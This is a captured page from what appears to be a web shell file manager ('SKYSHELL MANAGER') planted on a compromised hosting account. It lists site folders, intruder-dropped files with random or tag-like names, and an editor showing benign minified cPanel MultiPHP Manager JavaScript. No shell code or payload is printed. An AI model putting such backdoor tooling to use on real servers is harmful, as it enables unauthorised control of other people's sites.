📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.cmb.min.js
define("app/services/configService",["angular","cjt/util/locale","cjt/io/api","cjt/io/uapi-request","cjt/io/uapi","cjt/services/APIService"],(function(e,t,s,o,a){"use strict";e.module("cpanel.multiPhpManager.service",["cjt2.services.api"]).factory("configService",["$q","APIService",function(e,a){return{convertResponseToList:function(e){var t=[];if(e.status){for(var s=e.data,o=0,a=s.length;o<a;o++){var r=s[o];r.version&&(r.displayPhpVersion=this.transformPhpFormat(r.version)),t.push(r)}var i=e.meta;return{items:t,totalItems:i.paginate.total_records||s.length,totalPages:i.paginate.total_pages||1}}return{items:[],totalItems:0,totalPages:0}},applyDomainSetting:function(t,a){var r=e.defer(),i=new o.Class;return i.initialize("LangPHP","php_set_vhost_versions"),i.addArgument("version",t),void 0!==a&&a.length>0&&a.forEach((function(e,t){i.addArgument("vhost-"+t,e)})),s.promise(i.getRunArguments()).done((function(e){(e=e.parsedResponse).status?r.resolve(e.data):r.reject(e)})),r.promise},fetchList:function(t){var a=e.defer(),r=this,i=new o.Class;return i.initialize("LangPHP","php_get_vhost_versions"),t&&(t.sortBy&&t.sortDirection&&i.addSorting(t.sortBy,t.sortDirection,t.sortType),t.currentPage&&i.addPaging(t.currentPage,t.pageSize||10),t.filterBy&&t.filterCompare&&t.filterValue&&i.addFilter(t.filterBy,t.filterCompare,t.filterValue)),s.promise(i.getRunArguments()).done((function(e){if((e=e.parsedResponse).status){var t=r.convertResponseToList(e);a.resolve(t)}else a.reject(e.error)})),a.promise},fetchImpactedDomains:function(e,t){var s=new o.Class,r=new a;return s.initialize("LangPHP","php_get_impacted_domains"),s.addArgument(e,t),r.deferred(s).promise},friendlyPhpFormat:function(e){var s=e||"",o=/^\D+-(php)(\d{2,3})$/i;if(o.test(e)&&(s="PHP "+e.match(o)[2].replace(/(\d)$/,".$1"),!window.PAGE||!window.PAGE.suppress_php_eol_status))if(0===e.indexOf("alt-"))s+=" ["+t.maketext("Secured")+"]";else{let o=e.match(/php(\d+)/);if(o&&o[1]){parseInt(o[1])<parseInt(String(window.PAGE.oldest_supported_php_version).replace(".",""))&&(s=s+" ["+t.maketext("Outdated")+"]")}}return s},transformPhpFormat:function(e){e=e||"";var t=this.friendlyPhpFormat(e);return""!==t&&t!==e?t+" ("+e+")":e},getEA4Recommendations:function(){var e=new o.Class,t=new a;return e.initialize("EA4","get_recommendations"),t.deferred(e).promise},getCustomRecommendations:function(){var e=new o.Class,t=new a;return e.initialize("EA4","get_php_recommendations"),t.deferred(e).promise}}}])})),define("app/views/impactedDomainsPopup",["angular","lodash","cjt/util/locale","uiBootstrap"],(function(e,t,s){return e.module("App").controller("impactedDomainsPopup",["$scope","$uibModalInstance","data",function(e,t,s){e.modalData={};var o=s;e.modalData=o,e.closeModal=function(){t.close()}}])})),define("app/views/config",["angular","cjt/util/locale","lodash","uiBootstrap","cjt/services/alertService","cjt/directives/alert","cjt/directives/alertList","cjt/directives/callout","app/services/configService","app/views/impactedDomainsPopup"],(function(e,t,s){"use strict";return e.module("App").controller("config",["$scope","configService","$uibModal","$timeout","alertService",function(o,a,r,i,n){o.loadingVhostList=!1,o.phpVersionsEmpty=!0,o.selectedVersion={},o.phpVhostList=[],o.restrictedPhp={domainsSelected:[],showAlert:!1,alertInfo:"",showAllDomains:!1,showMore:!0},o.vhostSelected=!1;var c=[];o.totalSelectedDomains=0,o.checkdropdownOpen=!1,o.meta={sortReverse:!1,sortBy:"vhost",sortDirection:"asc",filterBy:"*",filterCompare:"contains",filterValue:"",maxPages:0,totalItems:o.phpVhostList.length,currentPage:1,pageSize:10,pageSizes:[10,20,50,100,500,1e3],start:0,limit:10};var l={loading:!1,warn:!1,show:!1,showMore:!1,text:""},p=t.maketext("We recommend that you update to a supported version of [asis,PHP]. For more information, read our [output,url,_1,PHP,target,_2] documentation.","https://go.cpanel.net/eaphp","_blank"),d=/^ea-php\d{2,}$/;o.php={systemPhp:{isEol:!1},showEolMsg:!1,eolWarningMsg:""};var h=function(){var e=[];return o.phpVhostList.forEach((function(t){t.rowSelected&&t.isRestricted&&e.push(t.vhost)})),e},m=function(){o.restrictedPhp.domainsSelected=h(),o.restrictedPhp.showMore=6<o.restrictedPhp.domainsSelected.length;var e=o.restrictedPhp.domainsSelected;if(e.length>0){o.restrictedPhp.showAlert=!0;var a=o.phpVersions.reduce((function(e,t){return"inherit"!==t.version&&e.push(t.displayPhpVersion),e}),[]);o.restrictedPhp.alertInfo=t.maketext("The system administrator only allows this account to use the [asis,PHP] [numerate,_2,version,versions] [list_and,_1].",a.map(s.escape),a.length)+" "+t.maketext("If you change the [asis,PHP] version for the following [numerate,_1,domain,domains], you cannot use this interface to change the [numerate,_1,domain,domains] back to use [numerate,_1,its,their] original version of [asis,PHP].",e.length)}else o.restrictedPhp.showAlert=!1};o.selectAllVhosts=function(){if(o.allRowsSelected)o.phpVhostList.forEach((function(e){e.rowSelected=!0,-1===c.indexOf(e.vhost)&&c.push(e.vhost)}));else{var e=o.phpVhostList.map((function(e){return e.rowSelected=!1,e.vhost}));c=s.difference(c,e),o.restrictedPhp.showAlert=!1}o.totalSelectedDomains=c.length,o.vhostSelected=o.totalSelectedDomains>0,o.restrictedPhp.domainsSelected=h(),o.restrictedPhp.showAlert&&m()};o.toggleRestrictedDomains=function(){o.restrictedPhp.showAllDomains=!o.restrictedPhp.showAllDomains},o.selectVhost=function(e){void 0!==e&&(!function(e,o){o?(e.impactedDomains.loading=!0,a.fetchImpactedDomains("domain",e.vhost).then((function(o){var a=s.without(o.data.domains,e.vhost);o.status&&a.length>0&&(e.impactedDomains.show=e.impactedDomains.warn=e.rowSelected,e.impactedDomains.showMore=a.length>10,e.impactedDomains.text=t.maketext("A change to the “[output,strong,_1]” domain‘s PHP version affects the following domains:",s.escape(e.vhost)),e.impactedDomains.domains=s.sortBy(a))}),(function(e){n.add({type:"danger",message:e,closeable:!0,replace:!1,group:"multiphpManager"})})).finally((function(){e.impactedDomains.loading=!1}))):e.impactedDomains.show=e.impactedDomains.warn=o}(e,e.rowSelected),e.rowSelected?(c.push(e.vhost),o.allRowsSelected=o.phpVhostList.every((function(e){return e.rowSelected}))):(c=c.filter((function(t){return t!==e.vhost})),o.allRowsSelected=!1)),o.totalSelectedDomains=c.length,o.vhostSelected=o.totalSelectedDomains>0,o.restrictedPhp.domainsSelected=h(),o.restrictedPhp.showAlert&&m()},o.rowClass=function(e){return e.impactedDomains.warn?"warning":e.impactedDomains.loading?"processing":void 0},o.showAllImpactedDomains=function(e){r.open({templateUrl:"impactedDomainsPopup.ptt",controller:"impactedDomainsPopup",resolve:{data:function(){return e}}})},o.clearAllSelections=function(e){e.preventDefault(),e.stopPropagation(),c=[],o.phpVhostList.forEach((function(e){e.rowSelected=!1})),o.checkdropdownOpen=!1,o.allRowsSelected=!1,o.totalSelectedDomains=0,o.vhostSelected=!1,o.restrictedPhp.showAlert=!1},o.hidePhpAlert=function(){o.restrictedPhp.showAlert=!1};var u=function(e){void 0!==e&&(o.phpVersions=e,void 0!==o.systemPhp&&""!==o.systemPhp&&o.phpVersions.push({version:"inherit",displayPhpVersion:"inherit"})),o.phpVersions&&o.phpVersions.length>0?(a.getCustomRecommendations().then((function(e){if(e&&e.data.length>0){var s=e.data,r=[];s.forEach((function(e){o.phpVersions.forEach((function(s){s.version.includes(e)&&(r.push(a.friendlyPhpFormat(s.version)),s.displayPhpVersion=s.displayPhpVersion+" - "+t.maketext("Recommended"),o.showRecommendedVersion=!0)}))})),r.length>0&&(o.recommendedVersionMessage=t.maketext("Your hosting provider recommends [list_or,_1].",r))}})),o.selectedVersion=o.phpVersions[0],o.phpVersionsEmpty=!1):o.phpVersionsEmpty=!0};o.performApplyDomainPhp=function(){return n.clear(),o.restrictedPhp.showAlert&&(o.restrictedPhp.showAlert=!1),a.applyDomainSetting(o.selectedVersion.version,c).then((function(e){void 0!==e&&(n.add({type:"success",message:t.maketext("Successfully applied [asis,PHP] version “[_1]” to the selected [numerate,_2,domain,domains].",o.selectedVersion.displayPhpVersion,c.length),closeable:!0,replace:!1,autoClose:1e4,group:"multiphpManager"}),o.selectPage())}),(function(e){if(void 0!==e.raw){var s=e.raw.errors;if(s.length>0){var a=[];e.data&&e.data.vhosts&&(a=e.data.vhosts),s.forEach((function(e){n.add({type:"danger",message:e,closeable:!0,replace:!1,group:"multiphpManager"})})),a.length>0&&n.add({type:"success",message:t.maketext("Successfully applied [asis,PHP] version “[_1]” to [numerate,_2,a domain,some domains].",o.selectedVersion.displayPhpVersion,a.length),closeable:!0,replace:!1,autoClose:1e4,group:"multiphpManager"})}}else n.add({type:"danger",message:e.error,closeable:!0,replace:!1,group:"multiphpManager"})})).finally((function(){u(),c=[],o.phpVhostList.forEach((function(e){e.rowSelected=!1})),o.allRowsSelected=!1,o.totalSelectedDomains=0,o.vhostSelected=!1}))},o.applyDomainPhp=function(){return o.restrictedPhp.domainsSelected.length>0?m():o.performApplyDomainPhp()};var f=function(a){var r=a.items;o.meta.totalItems=a.totalItems;var i=r;if(o.meta.totalItems>s.min(o.meta.pageSizes)){var n=(o.meta.currentPage-1)*o.meta.pageSize;o.showPager=!0,o.meta.start=n+1,o.meta.limit=n+i.length}else o.showPager=!1,0===i.length?o.meta.start=0:o.meta.start=1,o.meta.limit=i.length;var p=0;i.forEach((function(o){-1!==c.indexOf(o.vhost)?o.rowSelected=!0:(o.rowSelected=!1,p++),o.impactedDomains=e.copy(l),o.inherited=!1;var a=o.phpversion_source;if(void 0!==a){var r="",i="";void 0!==a.domain?(r="domain",i=a.domain):void 0!==a.system_default&&(r="system_default",i=t.maketext("System Default")),("domain"===r&&i!==o.vhost||"system_default"===r)&&(o.inherited=!0,o.inheritedInfo=t.maketext("This domain inherits its [asis,PHP] version “[output,em,_1]” from: [output,strong,_2]",s.escape(o.displayPhpVersion),s.escape(i)))}o.isRestricted=!1,o.showInheritInfo=!1;var n=PAGE.versionListData.data.versions;s.some(n,["version",o.version])||(o.isRestricted=!0)})),o.restrictedPhp.showMore=6<o.restrictedPhp.domainsSelected.length,o.phpVhostList=i,o.allRowsSelected=i.length>0&&0===p};o.selectPage=function(t){return t&&e.isNumber(t)&&(o.meta.currentPage=t),o.loadingVhostList=!0,a.fetchList(o.meta).then((function(e){f(e)}),(function(e){n.add({type:"danger",message:e,closeable:!0,replace:!1,group:"multiphpManager"})})).then((function(){o.loadingVhostList=!1}))};var g=function(e){return a.getEA4Recommendations().then((function(r){if(r&&void 0!==r.data){var i=function(e){var t=[],o=s.sortBy(s.filter(s.keys(e),(function(e){return d.test(e)})));return s.each(o,(function(o){s.each(e[o],(function(e){s.includes(e.filter,"eol")&&t.push(o)}))})),t}(r.data);if(i.length>0){o.php.systemPhp.isEol=s.includes(i,PAGE.systemPHPData.data.version);var c=s.intersection(i,e);if(c.length>0){var l=s.map(c,(function(e){return a.friendlyPhpFormat(e)})),h=t.maketext("[output,strong,Warning]: [asis,PHP] [numerate,_2,version,versions] [list_and,_1] [numerate,_2,is,are] [output,strong,deprecated].",l.map(s.escape),c.length)+" "+p;o.php.showEolMsg=!0,o.php.eolWarningMsg=h}}}else n.add({type:"warning",message:t.maketext("The system could not retrieve data for deprecated versions of PHP."),closeable:!0,id:"recommendationsError",group:"multiphpManager"})})).catch((function(e){n.add({type:"warning",message:e,closeable:!0,id:"recommendationsError",group:"multiphpManager"})}))};o.$on("$viewContentLoaded",(function(){var e;if(n.clear(),g(PAGE.versionListData.data.versions),PAGE.versionListData.data&&(PAGE.versionListData.data.versions=PAGE.versionListData.data.versions.map((function(e){return{version:e,displayPhpVersion:a.transformPhpFormat(e)}}))),PAGE.vhostListData.status){o.loadingVhostList=!1;var t=a.convertResponseToList(PAGE.vhostListData);f(t)}else e=PAGE.vhostListData.errors[0],n.add({type:"danger",message:PAGE.vhostListData.errors[0],closeable:!0,replace:!1,group:"multiphpManager"});PAGE.systemPHPData.status?o.systemPhp={version:PAGE.systemPHPData.data.version,displayPhpVersion:a.transformPhpFormat(PAGE.systemPHPData.data.version)}:e!==PAGE.systemPHPData.errors[0]&&n.add({type:"danger",message:PAGE.systemPHPData.errors[0],closeable:!0,replace:!1,group:"multiphpManager"}),PAGE.versionListData.status?u(PAGE.versionListData.data.versions):(u(),e!==PAGE.versionListData.errors[0]&&n.add({type:"danger",message:PAGE.versionListData.errors[0],closeable:!0,replace:!1,group:"multiphpManager"}))}))}])})),define("app/index",["angular","jquery","lodash","cjt/core","cjt/modules","cjt/services/alertService","cjt/directives/alert","cjt/directives/alertList","ngRoute","uiBootstrap"],(function(e,t,s,o){"use strict";return function(){return e.module("App",["ngRoute","ui.bootstrap","cjt2.cpanel","cpanel.multiPhpManager.service"]),require(["cjt/bootstrap","cjt/views/applicationController","app/views/config"],(function(t){var s=e.module("App");s.firstLoad={phpAccountList:!0},s.config(["$routeProvider","$locationProvider","$animateProvider",function(e,t,s){s.classNameFilter(/INeverWantThisToAnimate/),e.when("/config/",{controller:"config",templateUrl:o.buildFullPath("multiphp_manager/views/config.html.tt"),reloadOnSearch:!1}),e.otherwise({redirectTo:"/config/"})}]),t("#content","App")}))}}));
Save